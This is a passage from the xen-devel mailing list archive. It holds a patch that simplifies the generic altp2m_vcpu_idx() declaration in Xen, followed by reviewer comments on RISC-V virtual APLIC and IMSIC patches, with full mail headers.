ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=NPPpOE6RDMnRrtIC15Y3TfvQyPHgMrmMyw3krLEuilLxPDvE/SSYhCd+98zPlwLJ4e6Wj3z4cPrADiK1CdpzQsXFQvdjcnoaZHTzoub0Waif7nWgFHV9xMkIMwmBuGIj0xKYCj33gqKMaeMcyeGIkqz4ggLiWGimDKCxNDlgOb/lO/ME3Fuyc9hFnk2xTdjRpmxaE261p0597hQJQMl5tVcDAt83uA2/BhU++dLGl99QDBz1MXE83zi4BUrEpL6CTfAlR63pXAF5fZWqZaznCXOtXqC+IP/8p6CZ4Gt/aK/RrMidFuhaacQhB15ZBq0fFb7wJ7G3MB3mfr6Vn8ZiJw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Dlyv5Fbi51wIjxmvgcBF97mzr/mGIUpsoVE/xwMklTg=;
 b=RXLWeiCEbDr44UHhtTFeFJUf6t1Q2oidBPRQHrbvh8QiwEtGnYZaH/2twGJYY+/YHjJvWl+WtjLB7oTFos+id/PTUl7uICn0KD3k+LwA8AUbmAqqAex6ZYf0GBy+NsljddG9gItC8pbiolmY7q038HOWNNM1DsJRw0Dmrz9gRV6CcsjQ3tEIPTcKoCXpf0lulTVXj9lBEAMda36bMcotjJfKJ+YBmKCeCwQW78nyaBsZZhzXC0Ht0Xqc2cZQEYsYpdWm9QyUqTF5bUIE+LYZl5unALUgB2HdMcu78+HrxdxKqK+3SDgiSqv50ygQWKo/ZhietQglWf2wA8Feu8t76g==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Dlyv5Fbi51wIjxmvgcBF97mzr/mGIUpsoVE/xwMklTg=;
 b=BQJmtgYtJy3iqJ0axVpE0STVX+GPTmMaQ2CJJXf7wbXDs7pm4BdegWFdtW9FukfLjMuPhMGh4AdaTsL5F9xEazjrqCUPyM4hU7MiBsH9qsVCjBx0Y1Dl29r8WAXmAzR7aejYenZRLtcAchIDcQ/C43ZGOQspCG6DCFe9TOTj5zbdWtn23N1X3O81ihFbUQenCa2OUsabb+nElWnRCrSBhWAvcfxBqaznj286pc1w6KwAy/GbnRJCaHLfoyyxzC5Bj2LytGXGm3I42yiGzNv+Z0Va8Px0pp77c8khKd0sqIQ378pLHlSXhoaMq/UATdA+VqoBuVFXgGdrNalNjyK2FQ==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>, Julien
 Grall <julien@xen.org>, =?iso-8859-1?Q?Roger_Pau_Monn=E9?=
	<roger.pau@citrix.com>, Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v2] generic/altp2m: align and simplify altp2m_vcpu_idx()
Thread-Topic: [PATCH v2] generic/altp2m: align and simplify altp2m_vcpu_idx()
Thread-Index: AQHdD7blJ03yOJ48I0W3XaixAGyTqg==
Date: Thu, 9 Jul 2026 15:23:30 +0000
Message-ID:
 <f246f66c9020d5ab5f6ca20e0645b93b6210b4a2.1783608944.git.dmytro_prokopchuk1@epam.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|MI3PR03MB11716:EE_
x-ms-office365-filtering-correlation-id: b2bb627d-17ca-4762-2c28-08deddce082d
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|366016|42112799006|376014|1800799024|23010399003|38070700021|18002099003|11063799006|56012099006;
x-microsoft-antispam-message-info:
 32Nh1QrIajuKYxWh+HsHlLfWHsEFjt0HSd2ZwqgBuuxDQjjOzA+ixDl1a2JQASxRiwY2cnd8o1CL9MFZkGkJu2u4aIAqNh8F6CGDWPFYlMHbNhtxp3YtkILb3Dy09yyyBuo3L1gdRLttVzcBXjzbRezYfRHHDapRyXp5vJhNq6chBnnolAtoBXX3R4ewpfhwzugPtcsEN6m3F+VBNPBFlQbkt4Zde/8HBZ5n78UaBKG3AuQ32Ak7WCZH8mmnM2ExUIX+4BBStcznd0yCDFYtuGzJ2mtepKm0qxviIoCw8qzG2w6iZfXqAWtOfPjfY+dPFdyvM+eg28QInTKjsHFetjdnVY4TfDp589DNOBre/RMOjqoja2/PPWW2LdqYhw2tLaj356p6bIb/+CiTsQ32EixXbdZsv3rVQpiqb/AlgUMLwtgpHihTjYFhhvuCzfvy+tVNNwZZfqYxHBYQhO82S76dIjVzasodN3bZkv/Rrb/ma/NV6LrK03eO5RTT3jRmk+nwscKsyHW8rfQFO9HTYcUCCciTnE40fAYiWNNa8tt3Vwbu/1eN7Hnnr3Bc/hR8qr0FhJRLpLmfLAi573i9UQszDnl3RV5eHIdN6aUwk9UUEb6rVdZy+xtFSYQC0sXrFLanflyU7fyobW3PnV1jK8cgGWyGi35CA6QkO/Voy7mz67KlpHWVv3GlNDdCz1dMQ0KY5eCHFh13RrQIOiQdLtQZO+6OjXSGiNUazfZwBvE=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(42112799006)(376014)(1800799024)(23010399003)(38070700021)(18002099003)(11063799006)(56012099006);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?Rj9Qr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zqER71RWa688IDr6zeZvlEsfN2?=
 =?iso-8859-1?Q?F59T80CJptvSJaWkSG+TDrHwZkH85m7DzxcdyvkvsEKyY/DSakE4gXerXT?=
 =?iso-8859-1?Q?csqbob/4izp6G3oOk2pMk5esVXYCn8I=3D?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: b2bb627d-17ca-4762-2c28-08deddce082d
X-MS-Exchange-CrossTenant-originalarrivaltime: 09 Jul 2026 15:23:30.3134
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: 5XxbgJljgDyQu3+3fzC0rzuDzlhSSLrpgf7LrM0uun8SwyMuXLkomQtErelrQcof4Qjw4QZ2R8fNuRVfECKwD6iXMfJnYOYo1PD8wmsER3M=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MI3PR03MB11716
X-purgate-ID: tlsNG-720697/1783610619-B354EA87-4330F509/0/0
X-purgate-type: clean
X-purgate-size: 1726

The return type of altp2m_vcpu_idx() in the generic altp2m.h header is
currently 'unsigned int', which is inconsistent with its uint16_t
return type on x86 and the altp2m_idx member of the monitor structures.

To fix this type inconsistency and simplify the header, this patch
replaces the static inline implementation of altp2m_vcpu_idx()
(contained a BUG() stub) with a simple function declaration returning
uint16_t.

For architectures using the generic altp2m.h header (such as ARM when
CONFIG_VM_EVENT is enabled), common code calls to altp2m_vcpu_idx() in
common/monitor.c are guarded by altp2m_active(), which statically
returns false. The compiler DCE will optimize out these calls, avoiding
any linker issues for the missing definition.

Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
---
Changes in v2:
- add Stefano's comment regarding return type
- rewrite commit subject and message
Test CI pipeline:
https://gitlab.com/xen-project/people/dimaprkp4k/xen/-/pipelines/2665080481
---
 xen/include/asm-generic/altp2m.h | 7 +------
 1 file changed, 1 insertion(+), 6 deletions(-)

diff --git a/xen/include/asm-generic/altp2m.h b/xen/include/asm-generic/alt=
p2m.h
index 39865a842a..df6b9a9c01 100644
--- a/xen/include/asm-generic/altp2m.h
+++ b/xen/include/asm-generic/altp2m.h
@@ -15,12 +15,7 @@ static inline bool altp2m_active(const struct domain *d)
 }
=20
 /* Alternate p2m VCPU */
-static inline unsigned int altp2m_vcpu_idx(const struct vcpu *v)
-{
-    /* Not implemented on GENERIC, should not be reached. */
-    BUG();
-    return 0;
-}
+uint16_t altp2m_vcpu_idx(const struct vcpu *v);
=20
 #endif /* __ASM_GENERIC_ALTP2M_H */
=20
--=20
2.43.0


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 15:39:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 15:39:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358277.1612472 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whqqu-0002ms-5j; Thu, 09 Jul 2026 15:39:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358277.1612472; Thu, 09 Jul 2026 15:39:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whqqu-0002ml-2k; Thu, 09 Jul 2026 15:39:52 +0000
Received: by outflank-mailman (input) for mailman id 1358277;
 Thu, 09 Jul 2026 15:39:50 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whqqs-0002md-FI
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 15:39:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whqqq-00CW8e-C8
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 17:39:48 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4fc0b0-2eae-0a2a0a5409dd-0a2a45059f88-18
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 17:39:48 +0200
Received: from [209.85.221.46] (helo=mail-wr1-f46.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a4fc0c4-4f1d-0a2a45050019-d155dd2ee56b-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 17:39:48 +0200
Received: by mail-wr1-f46.google.com with SMTP id
 ffacd0b85a97d-4759b4f0897so30969f8f.1
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 08:39:48 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa0f2186bsm50814686f8f.36.2026.07.09.08.39.46
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 08:39:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783611588; x=1784216388; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Zy6MWa5cL8mpChn2SlqXnPzWrdI6KBorU03V7xTT+lw=;
        b=NbklZMPcHlcXYthOfg8ElzXrKHjjGPp91w3NuPtyGGRmojtW2D7SaD8YxZm/zIh3bs
         JcGq5pGgYSl5FBbayp7ddPp89QfNBHy+lrTNptWuKjowD0bhwBJa0AMy6/TFbeIvgy37
         loq3OGOWGpqnjWf8Ht78+PHLYvbt1rD/4P9NlnJerivDpkSnt357XirGNjemxAGoorM4
         tnHp37YWxVMfDPd1CL01ytDiS4hX99ngT1dlV0zmjuHqTvf2/SPnioCDzcxSNhB07tL3
         9FM7RnyVo93p5rB6BYpV7xrMqvI8HUMJdAdclEAV9Vry1HxlWfHHtJDjgSDjPhgYPEBG
         otHA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783611588; x=1784216388;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Zy6MWa5cL8mpChn2SlqXnPzWrdI6KBorU03V7xTT+lw=;
        b=dlbAjnlikrM4sRA9uYzxkpn1trASFQOrIuLefnhdWCTpeVlQK8XPg9YjQFA5CzCkRY
         OeVJBXfxyGHXTHYK4WgbJRPT6cEXJYOHCDauZ8/3Yd6+3Lo0E3b4k0e8h3Jakimk21eL
         j9orCux4WBJXi+bzy73eLCnm1uZ7IYiLepb3QUlurrCXLJxSvvLX84jETnVhReEtPUU2
         yXFEvLXuTbLYiWhA3a8v1MBZ0wKAG7ONMcuAtwL7sSIRZ6Ka3oIIWocVoJcsv9dYeapZ
         /qcYGZPyN82OiMrqI2YAHmEMRqvBdaJz4PZDzM0/VhV9NupkXPzXguogd9Khu0VNzhi7
         2kIw==
X-Forwarded-Encrypted: i=1; AHgh+RpCaKH/ykR1oOVIo9/rIZeukWgtVY9zMzMIosf6eIbfc/TDMqOlrJwUYRV1z9OeIoghITXolZqakVM=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yyw0SI5UCJ8yYjxPDJ9ElldDCwvtmOpDRZe/6ZUwnF+WTs+W6TZ
	JwLP5MNC2h9NetJrq6U7V97uK3ZmBFjHNv7gXLbNl6tAi/F5KOr0ytG352+PTk1pAQ==
X-Gm-Gg: AfdE7cn4vonx++bjAKAD5ic18zrypMNxYq5YN4QzRr6wown4BE8/gRzKD1VtdvanCt4
	T/KAjTu/8h+I6KlzxX+8zFJ7M+/X8/QFXynVRCmgXpsrWNw3JbPE7gO2Cq+nk+UkI4ovxyCllDj
	0XAnwUfjyLY0XqELdFikjXm9DwUUy4Z4+xvMJlLcpWxUxK+2x+sSzRtTWiQyamMFPLqob7+Qjjq
	LDbO5rr1DeubvYUR6UXl8i6TDRjU/PmEu9KA12TR8GTIZrP36okgz8dBkrVMsVZ9pJZ9eQupy4q
	VRM6WBx94qRTV0e5u8sDdO4Jd4x5jl7init7rEhrs1qEWAF/5laoZH2Wt5sYixZKp1b7a3PwVyA
	Ypa19xAJbqMG/Oe1ipWL9iuEYCbzL6svr4gQ0f5O27/c6hPN3KU2WHpv+GnE5aJHOP0W6c+u5ju
	h+6MkoNK/ERCmK2KJhkSEumxXhNBXQ7MEf25byiygkCOto5nQaGs9QIZ04925ORdM02DIFpwRr4
	lSn
X-Received: by 2002:a05:6000:455c:b0:47d:f43d:8947 with SMTP id ffacd0b85a97d-47df43d8a02mr4429256f8f.47.1783611587700;
        Thu, 09 Jul 2026 08:39:47 -0700 (PDT)
Message-ID: <6a4adfa7-ec9a-4cbd-a9e2-571293cbb1ed@suse.com>
Date: Thu, 9 Jul 2026 17:39:46 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 17/26] xen/riscv: introduce minimal virtual APLIC
 (vAPLIC) infrastructure
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <1f51410c080599a5c80173398d9db837b8718356.1783331040.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtv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
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1f51410c080599a5c80173398d9db837b8718356.1783331040.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1783611588-62F4112E-ADA8F5B0/0/0
X-purgate-type: clean
X-purgate-size: 1087

On 06.07.2026 17:57, Oleksii Kurochko wrote:
> At the current development stage, only domain vINTC init and deinit
> operations are required, so implement those first.
> 
> Initialize vAPLIC's domaincfg to with the interrupt-enable bit set and
> MSI delivery mode selected as the current solution is exepcted to have
> always IMSIC, and initialize vintc->ops.

How would domaincfg be initialized on real hardware? I can see that maybe
firmware would have to set DM suitably (and you may mean to take firmware's
role here). But isn't setting at least IE entirely the OSes responsibility?

> --- a/xen/arch/riscv/include/asm/aplic.h
> +++ b/xen/arch/riscv/include/asm/aplic.h
> @@ -15,6 +15,8 @@
>  
>  #include <asm/imsic.h>
>  
> +/* domaincfg bits 31:24 are read-only 0x80 */
> +#define APLIC_DOMAINCFG_RO      (0x80U << 24)

Bit 7 is also documented as read-only 0. Wouldn't the comment better reflect
that as well?

>  #define APLIC_DOMAINCFG_IE      BIT(8, U)
>  #define APLIC_DOMAINCFG_DM      BIT(2, U)

Wouldn't you better spell out BE as well?

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 15:49:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 15:49:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358292.1612480 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whr0F-0004U4-3j; Thu, 09 Jul 2026 15:49:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358292.1612480; Thu, 09 Jul 2026 15:49:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whr0F-0004Tx-19; Thu, 09 Jul 2026 15:49:31 +0000
Received: by outflank-mailman (input) for mailman id 1358292;
 Thu, 09 Jul 2026 15:49:29 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whr0D-0004Tr-Lk
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 15:49:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whr0C-00CEuh-VV
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 17:49:28 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4fc2fb-bab6-0a2a0a5309dd-0a2a450ca8b4-12
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 17:49:28 +0200
Received: from [209.85.221.54] (helo=mail-wr1-f54.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a4fc308-e897-0a2a450c0019-d155dd36d0cd-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 17:49:28 +0200
Received: by mail-wr1-f54.google.com with SMTP id
 ffacd0b85a97d-4799b3f7c83so5543f8f.2
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 08:49:28 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9e4d6e4csm49818959f8f.10.2026.07.09.08.49.27
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 08:49:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783612168; x=1784216968; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=OGObOz3CplQgODUQPRVB1PWFX44ylTCmoKuuwfrZ2f8=;
        b=Gja1L6cBZbRCh2SFHoIHFez+WWhy3AZGbRwdlkGVq0b5J0g54oBJuIT1plfbDvsj3R
         hiu2lRM6NfV3Y+0H8/xcvxwHUxUmmKZp/bOhVV22eFb/To7g4TGXk6EgeXEqzx/cpAFH
         gNT+B2Nsad7eGiVx6F0/HSi4iI6+zGhtJNBFJNhQgOOloPelGO6/XcOlUvvplmoNaVmD
         TpfPeinihg3pavImHYvYCIAcxCGxKUcBnKENOA7IiL6zO1kFUo34bJxwPJu9/NKx5Ir2
         ARV1xriRdyN9CWKNglugGv42cm/2xROaJRfSX9RLf1nwxFIx53+inucDCecCms5jZW4f
         k+8w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783612168; x=1784216968;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=OGObOz3CplQgODUQPRVB1PWFX44ylTCmoKuuwfrZ2f8=;
        b=f9Y2uEGdG3VS8SbWnlBEkFdraCYRRA2y62SIqzbYjJ0+rW0FkQ6kyOurNjLaPhvU1d
         qzC7HiX5dHFzDgN2AtbhRvRSem9qvNiCpXcaz7IxfeCPTcMjH/vaU7NNJyZkOVbTASl9
         TZRI8XNUYTlrCQn4it+gNmqezmxbdTz6CvXMAaLR9bzzzjDfkX7SkNaYBbz1L5/LTmdY
         5z7tCrsiAbZhNkXXhRT71REuOaEWt8QZ5vAOJm2ctFkT23Px+/j0tJcWedJdVR2FwRng
         8HcYNZOeNzPWh4e8wvoDlQvxCL5l1QwnI6hzQQFdVcxSjLLaM5qjbdjUPf0eHAieJ1rc
         OasQ==
X-Forwarded-Encrypted: i=1; AHgh+Rp2PkhFD1nWQZ1nPYcoNE81i+qCHhLF2N7BauZ5gZqQ09rXQO7gAJpVl3ru9v1e38NqbevMgZsRxKM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YypCpc6vWyfLNyGQX7f4+V7tJD5h9i3s6EEdiFQeZbiagVyt+Ww
	6TdNR+VRqgDp4iCgE7DkY6hZUkwkBinxaaad/lUli4YQoxbKzDpyMdRF1O1U5n6C+w==
X-Gm-Gg: AfdE7cmX45FLrvqV1DAyvu5MrJE1sW9+uI8C1RK4VZL0s+4myKpEy3J/L0BQbQkf0q2
	3WffIe/yV7oYOWRkiYfnESj7TfSSjiwhN/yPlvLFpxaiATxQbTM/9fHl1OygdG2kWueXv6SsRgV
	J9sRS2uz/rbYh8B/oEL6bgyOyuR5MuZN6Lhz9WSy0CeWi5IJfrF/q1d7xLzMaFiGELx2xsri3WO
	1tYliLiqVZCjwR+10Xp9GqEFbpDBp3JFdHipRXKnGk7h7iiC9qns1Qay0SoeDy19ZAuHH1Qx+by
	1RJ4AYWGOASHIxcarfyBTz42SdwSSH6Qh7IV7ZPwRs2xtFD8sxyocbVU1eLDB4rEiG8g8MzrCkm
	+jbkyedlvB2a+itkVBp89Remf1fX8BHlGnJEsEIZ8H6PG4YiO+Hw0jvf/gVa1K30C6mY6g3QZ7Q
	sTQoFyd4xwIqh46UvKZaGueLYvLAR4kQkMCo18INuIm6OD647i+k+1Vdptfe8rwmS105LT/LpzL
	JPY
X-Received: by 2002:a05:6000:25c2:b0:472:f8b5:aaca with SMTP id ffacd0b85a97d-47df074874bmr8490195f8f.15.1783612168159;
        Thu, 09 Jul 2026 08:49:28 -0700 (PDT)
Message-ID: <1649e30f-f470-40d9-a4a5-4189df18dd07@suse.com>
Date: Thu, 9 Jul 2026 17:49:27 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 19/26] xen/riscv: generate IMSIC DT node for guest
 domains
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <7af5bcc9ef818926f02244f5d566541da06a0a16.1783331040.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
